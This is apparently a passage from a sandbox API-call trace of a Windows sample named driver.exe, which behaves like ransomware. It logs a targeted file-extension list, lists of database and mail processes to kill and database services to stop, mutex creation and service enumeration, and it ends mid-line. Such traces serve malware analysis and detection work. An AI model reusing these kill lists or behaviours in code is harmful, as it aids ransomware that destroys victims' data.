# Flog Txt Version 1 # Analyzer Version: 3.2.1 # Analyzer Build Date: Jan 15 2020 08:26:44 # Log Creation Date: 22.01.2020 09:24:09.363 Process: id = "1" image_name = "driver.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\driver.exe" page_root = "0x37558000" os_pid = "0x5dc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x444" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\driver.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x304 [0034.659] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76e10000 [0034.660] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0034.660] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0034.660] GetProcAddress (hModule=0x76e10000, lpProcName="FindNextFileW") returned 0x76e254ee [0034.661] GetProcAddress (hModule=0x76e10000, lpProcName="FindClose") returned 0x76e24442 [0034.661] GetProcAddress (hModule=0x76e10000, lpProcName="MoveFileW") returned 0x76e39af0 [0034.661] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileSizeEx") returned 0x76e259e2 [0034.661] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0034.661] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileAttributesW") returned 0x76e21b18 [0034.661] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0034.661] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0034.661] GetProcAddress (hModule=0x76e10000, lpProcName="GetComputerNameW") returned 0x76e2dd0e [0034.661] GetProcAddress (hModule=0x76e10000, lpProcName="GetComputerNameA") returned 0x76e3b6e0 [0034.661] GetProcAddress (hModule=0x76e10000, lpProcName="CreateMutexW") returned 0x76e2424c [0034.661] GetProcAddress (hModule=0x76e10000, lpProcName="lstrlenW") returned 0x76e21700 [0034.661] GetProcAddress (hModule=0x76e10000, lpProcName="lstrlenA") returned 0x76e25a4b [0034.661] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0034.661] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0034.661] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalDrives") returned 0x76e25371 [0034.661] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0034.662] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0034.662] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0034.662] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0034.662] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0034.662] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0034.662] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0034.662] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0034.662] GetProcAddress (hModule=0x76e10000, lpProcName="OpenMutexW") returned 0x76e25151 [0034.663] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0034.663] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForMultipleObjects") returned 0x76e24220 [0034.663] GetProcAddress (hModule=0x76e10000, lpProcName="lstrcmpiW") returned 0x76e3d5cd [0034.663] GetProcAddress (hModule=0x76e10000, lpProcName="lstrcmpiA") returned 0x76e23e8e [0034.663] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0034.663] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseMutex") returned 0x76e2111e [0034.663] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0034.663] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0034.663] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0034.663] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0034.663] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0034.663] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceFrequency") returned 0x76e241f0 [0034.663] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0034.663] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileAttributesW") returned 0x76e3d4f7 [0034.663] GetProcAddress (hModule=0x76e10000, lpProcName="GetVolumeInformationW") returned 0x76e3c860 [0034.663] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0034.663] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0034.664] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0034.664] GetProcAddress (hModule=0x76e10000, lpProcName="FindFirstFileW") returned 0x76e24435 [0034.664] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0034.664] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0034.664] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0034.664] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0034.664] GetProcAddress (hModule=0x76e10000, lpProcName="CreatePipe") returned 0x76ea415b [0034.664] GetProcAddress (hModule=0x76e10000, lpProcName="SetHandleInformation") returned 0x76e3195c [0034.664] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0034.664] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringW") returned 0x76e23bca [0034.664] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringA") returned 0x76e23c5a [0034.664] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0034.664] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0034.664] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTime") returned 0x76e25a96 [0034.664] GetProcAddress (hModule=0x76e10000, lpProcName="SystemTimeToFileTime") returned 0x76e25a7e [0034.664] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0034.665] GetProcAddress (hModule=0x76e10000, lpProcName="CreateToolhelp32Snapshot") returned 0x76e4735f [0034.665] GetProcAddress (hModule=0x76e10000, lpProcName="Process32NextW") returned 0x76e4896c [0034.665] GetProcAddress (hModule=0x76e10000, lpProcName="Process32FirstW") returned 0x76e48baf [0034.665] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x754b0000 [0036.606] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0036.607] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0036.607] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0036.607] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0036.607] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0036.607] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0036.607] GetProcAddress (hModule=0x754b0000, lpProcName="OpenSCManagerW") returned 0x754bca64 [0036.607] GetProcAddress (hModule=0x754b0000, lpProcName="OpenServiceW") returned 0x754bca4c [0036.607] GetProcAddress (hModule=0x754b0000, lpProcName="CloseServiceHandle") returned 0x754c369c [0036.607] GetProcAddress (hModule=0x754b0000, lpProcName="ControlService") returned 0x754d7144 [0036.607] GetProcAddress (hModule=0x754b0000, lpProcName="QueryServiceStatus") returned 0x754c2a86 [0036.607] GetProcAddress (hModule=0x754b0000, lpProcName="EnumDependentServicesW") returned 0x754b1e3a [0036.608] GetProcAddress (hModule=0x754b0000, lpProcName="EnumServicesStatusExW") returned 0x754bb466 [0036.608] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76780000 [0038.111] GetProcAddress (hModule=0x76780000, lpProcName="SystemParametersInfoW") returned 0x767990d3 [0038.112] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75670000 [0040.525] GetProcAddress (hModule=0x75670000, lpProcName="ShellExecuteExW") returned 0x75691e46 [0040.526] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77320000 [0040.526] GetProcAddress (hModule=0x77320000, lpProcName="NtQuerySystemInformation") returned 0x7733fda0 [0040.526] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74570000 [0040.703] GetProcAddress (hModule=0x74570000, lpProcName="WNetCloseEnum") returned 0x74572dd6 [0040.703] GetProcAddress (hModule=0x74570000, lpProcName="WNetOpenEnumW") returned 0x74572f06 [0040.703] GetProcAddress (hModule=0x74570000, lpProcName="WNetEnumResourceW") returned 0x74573058 [0040.703] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75360000 [0040.984] GetProcAddress (hModule=0x75360000, lpProcName="WSAStartup") returned 0x75363ab2 [0040.984] GetProcAddress (hModule=0x75360000, lpProcName="socket") returned 0x75363eb8 [0040.984] GetProcAddress (hModule=0x75360000, lpProcName="send") returned 0x75366f01 [0040.984] GetProcAddress (hModule=0x75360000, lpProcName="recv") returned 0x75366b0e [0040.984] GetProcAddress (hModule=0x75360000, lpProcName="connect") returned 0x75366bdd [0040.984] GetProcAddress (hModule=0x75360000, lpProcName="closesocket") returned 0x75363918 [0040.984] GetProcAddress (hModule=0x75360000, lpProcName="gethostbyname") returned 0x75377673 [0040.984] GetProcAddress (hModule=0x75360000, lpProcName="inet_addr") returned 0x7536311b [0040.985] GetProcAddress (hModule=0x75360000, lpProcName="ntohl") returned 0x75362d57 [0040.985] GetProcAddress (hModule=0x75360000, lpProcName="htonl") returned 0x75362d57 [0040.985] GetProcAddress (hModule=0x75360000, lpProcName="htons") returned 0x75362d8b [0040.985] GetProcessHeap () returned 0x5c0000 [0040.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5d40c8 [0040.985] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=18217211183) returned 1 [0040.985] GetTickCount () returned 0x11548b4 [0040.985] GetCurrentProcessId () returned 0x5dc [0040.987] GetTickCount () returned 0x11548b4 [0040.988] GetTickCount () returned 0x11548b4 [0040.988] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5d40f0 [0040.988] GetVersion () returned 0x1db10106 [0040.988] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7) returned 0x5c36b0 [0040.988] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5d0bd0 [0040.988] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d0bd0, Size=0x20) returned 0x5d4140 [0040.988] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4140, Size=0x40) returned 0x5d46b0 [0040.988] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x5d4900 [0040.989] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_QVW9W0A") returned 0x0 [0040.989] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_QVW9W0A") returned 0x84 [0040.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5c36b0 | out: hHeap=0x5c0000) returned 1 [0040.989] lstrlenW (lpString="Global\\syncronize_") returned 18 [0040.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d46b0 | out: hHeap=0x5c0000) returned 1 [0040.989] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7) returned 0x5c36b0 [0040.989] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5d0bd0 [0040.989] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d0bd0, Size=0x20) returned 0x5d4140 [0040.989] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4140, Size=0x40) returned 0x5d46b0 [0040.989] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x5e4908 [0040.990] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_QVW9W0U") returned 0x0 [0040.990] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_QVW9W0U") returned 0x88 [0040.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5c36b0 | out: hHeap=0x5c0000) returned 1 [0040.990] lstrlenW (lpString="Global\\syncronize_") returned 18 [0040.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d46b0 | out: hHeap=0x5c0000) returned 1 [0040.990] GetVersion () returned 0x1db10106 [0040.990] GetCurrentProcess () returned 0xffffffff [0040.991] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0040.991] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0040.991] CloseHandle (hObject=0x8c) returned 1 [0040.991] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0040.991] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x3e8) returned 0x0 [0040.991] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5c36b0 [0040.991] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5d0bd0 [0040.991] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d0bd0, Size=0x20) returned 0x5d4140 [0040.991] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4140, Size=0x40) returned 0x5d46b0 [0040.991] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d46b0, Size=0x80) returned 0x5d46b0 [0040.991] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d46b0, Size=0x100) returned 0x5d46b0 [0040.991] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x34) returned 0x5d47b8 [0040.991] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d07c0 [0040.991] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d07d0 [0040.991] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d07e0 [0040.991] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5d0bd0 [0040.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d47f8 [0040.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d0be8 [0040.992] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d47f8, Size=0x8) returned 0x5d47f8 [0040.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5d0c00 [0040.992] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d47f8, Size=0x10) returned 0x5d47f8 [0040.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d0c18 [0040.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d0c30 [0040.992] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d47f8, Size=0x20) returned 0x5d47f8 [0040.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5d0c48 [0040.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d0c60 [0040.992] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d07c0, Size=0x8) returned 0x5d07c0 [0040.992] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d07d0, Size=0x8) returned 0x5d07d0 [0040.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d4820 [0040.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5d0c78 [0040.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d4830 [0040.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d0c90 [0040.992] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4830, Size=0x8) returned 0x5d4830 [0040.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4928 [0040.992] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4830, Size=0x10) returned 0x5d4830 [0040.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4940 [0040.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d4848 [0040.992] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4830, Size=0x20) returned 0x5d4858 [0040.993] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d07c0, Size=0x10) returned 0x5d4830 [0040.993] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d07d0, Size=0x10) returned 0x5d4880 [0040.993] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d07c0 [0040.993] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f4958 [0040.993] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d07d0 [0040.993] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4970 [0040.993] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d07d0, Size=0x8) returned 0x5d07d0 [0040.993] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d4898 [0040.993] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f4988 [0040.993] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d48a8 [0040.993] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f49a0 [0040.993] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d48a8, Size=0x8) returned 0x5d48a8 [0040.993] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4830, Size=0x20) returned 0x5f4d10 [0040.993] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4880, Size=0x20) returned 0x5f4d38 [0040.993] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d4880 [0040.993] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f49b8 [0040.993] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d4830 [0040.993] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f49d0 [0040.993] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4830, Size=0x8) returned 0x5d4830 [0040.993] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5f4d60 [0040.993] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5f4d80 [0040.993] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0040.993] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d46b0 | out: hHeap=0x5c0000) returned 1 [0040.994] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0041.013] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f49e8 [0041.013] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f49e8, Size=0x20) returned 0x5d4348 [0041.013] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4348, Size=0x40) returned 0x5d4708 [0041.013] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4708, Size=0x80) returned 0x5d4708 [0041.013] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4708, Size=0x100) returned 0x5f5058 [0041.013] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f49e8 [0041.013] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f49e8, Size=0x20) returned 0x5d4348 [0041.013] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4348, Size=0x40) returned 0x5d4708 [0041.013] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4708, Size=0x80) returned 0x5d4708 [0041.013] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4708, Size=0x100) returned 0x5f5160 [0041.013] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f49e8 [0041.013] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d4708 [0041.013] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a00 [0041.013] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4708, Size=0x8) returned 0x5d4708 [0041.013] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5d4718 [0041.013] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4708, Size=0x10) returned 0x5d4738 [0041.013] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0x5d4750 [0041.013] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1a) returned 0x5d4348 [0041.013] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4738, Size=0x20) returned 0x5d4770 [0041.013] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1c) returned 0x5d4370 [0041.013] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x16) returned 0x5d4798 [0041.013] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1a) returned 0x5d4398 [0041.013] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f4a18 [0041.013] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d4708 [0041.013] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5f5268 [0041.013] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4708, Size=0x8) returned 0x5d4708 [0041.013] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x3c) returned 0x5f52b0 [0041.013] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4708, Size=0x10) returned 0x5d4738 [0041.013] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5f52f8 [0041.013] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0x5f5318 [0041.013] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4738, Size=0x20) returned 0x5f5338 [0041.014] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x24) returned 0x5f5360 [0041.014] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0041.014] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5058 | out: hHeap=0x5c0000) returned 1 [0041.014] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0041.014] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5160 | out: hHeap=0x5c0000) returned 1 [0041.014] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5f58e0 [0041.019] EnumServicesStatusExW (in: hSCManager=0x5f58e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0041.021] GetLastError () returned 0xea [0041.021] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x134c) returned 0x5f91e0 [0041.021] EnumServicesStatusExW (in: hSCManager=0x5f58e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5f91e0, cbBufSize=0x134c, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5f91e0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0041.023] CloseServiceHandle (hSCObject=0x5f58e0) returned 1 [0041.028] lstrlenW (lpString="Appinfo") returned 7 [0041.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0041.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0041.028] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0041.028] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0041.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0041.028] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0041.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0041.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0041.029] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0041.029] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0041.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0041.029] lstrlenW (lpString="AudioSrv") returned 8 [0041.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0041.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0041.029] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0041.029] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0041.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0041.029] lstrlenW (lpString="BFE") returned 3 [0041.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0041.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0041.029] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0041.029] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0041.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0041.029] lstrlenW (lpString="CryptSvc") returned 8 [0041.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0041.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 